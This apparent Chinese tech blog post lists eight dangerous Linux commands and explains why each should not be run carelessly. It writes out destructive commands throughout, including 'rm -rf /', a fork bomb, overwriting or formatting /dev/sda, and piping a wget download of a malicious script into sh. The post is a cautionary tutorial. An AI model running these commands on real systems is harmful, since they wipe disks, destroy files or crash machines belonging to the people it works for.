本文作者:每日一學網站長

Linux上最危險的8個命令

每日一學網站長 1年前 ( 2019-03-20 ) 2126 搶沙發

經常能在群里看到這個圖:

Linux上最危險的8個命令 系統教程 第1張

懂得人自然哈哈一笑,不懂的人完全不知道是啥!其實linux上有很多其他的命令十分關鍵!我們一起看看吧!

Linux命令是很強大、高效的。但是有時侯執行一些命令要非常小心,尤其是,當你不知道自己在干什么的情況下。這篇文章總結了8個可能讓人悲劇的命令。這些命令在執行之前,一定要再三確認,一不小心就會讓你追悔莫及。

Linux上最危險的8個命令 系統教程 第2張

#1) rm -rf

rm -rf是刪除目錄最快的方法,如果使用桌面環境(右鍵->刪除)刪除一個零碎目錄需要很長時間。但是一個小小的打字錯誤,有可能對你的系統造成不可恢復的破壞。例如下面這條命令:

Bash
rm -rf /

上面這條命令需要系統管理員權限,這也是不建議使用root用戶登錄系統的原因之一。

rm常用選項:

rm:刪除文件

rm -r:遞歸的刪除目錄,包括空目錄

rm -f:直接刪除文件,不詢問

rm -rf /:直接根(root)目錄,不詢問

rm -rf *:刪除當前目錄的所有東西,不詢問

rm -rf:刪除當前目錄和子目錄,不詢問

在執行rm -rf一定要小心。為了防止rm命令意外刪除文件或目錄,可以為rm創建一個別名rm -i,每次都需要確認刪除。

#2) :(){:|:&};:

上面這個命令就是所謂的fork炸彈。執行上面代碼會耗盡系統資源而崩潰。

#3) cmd > /dev/sda

cmd代表一個命令,cmd > /dev/sda把cmd命令的輸出寫到了/dev/sda塊設備上,會導致/dev/sda塊設備數據的全部丟失。

#4) mv 目錄 /dev/null

上面命令會把目錄移動到/dev/null。在Linux中, /dev/null是一個特殊的設備文件,有人把它叫做黑洞。

Bash
mv /home/* /dev/null

上面命令相當于:

Bash
rm -rf /home/*

#5) wget http://懷有惡意腳本的url -O- | sh

上面這條命令在安裝軟件或系統環境時總用到,它從url下載腳本,下載完成之后自動執行腳本。不要對不信任的url執行上面這個命令。

#6) mkfs.ext3 /dev/sda

上面命令是格式化命令,執行完之后硬盤數據全部清空。

#7) > file

> file命令會把文件中的數據全部清空。

#8) dd if=/dev/random of=/dev/sda

上面命令向sda設備中寫入隨機數據,這是不可恢復的。

所以,在最后,我建議大家:如果一個命令你不知道是干嘛的,不要盲目執行,可以先使用man查詢一下。

附一張Linux命令的思維導圖,如下圖所示:


文章版權及轉載聲明

作者:每日一學網站長本文地址:http://www.worldwisoc.com/post/1395.html發布于 1年前 ( 2019-03-20 )
文章轉載或復制請以超鏈接形式并注明出處每日一學網

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

微信掃一掃打賞

分享

發表評論

快捷回復:

評論列表 (暫無評論,2126人圍觀)參與討論

還沒有評論,來說兩句吧...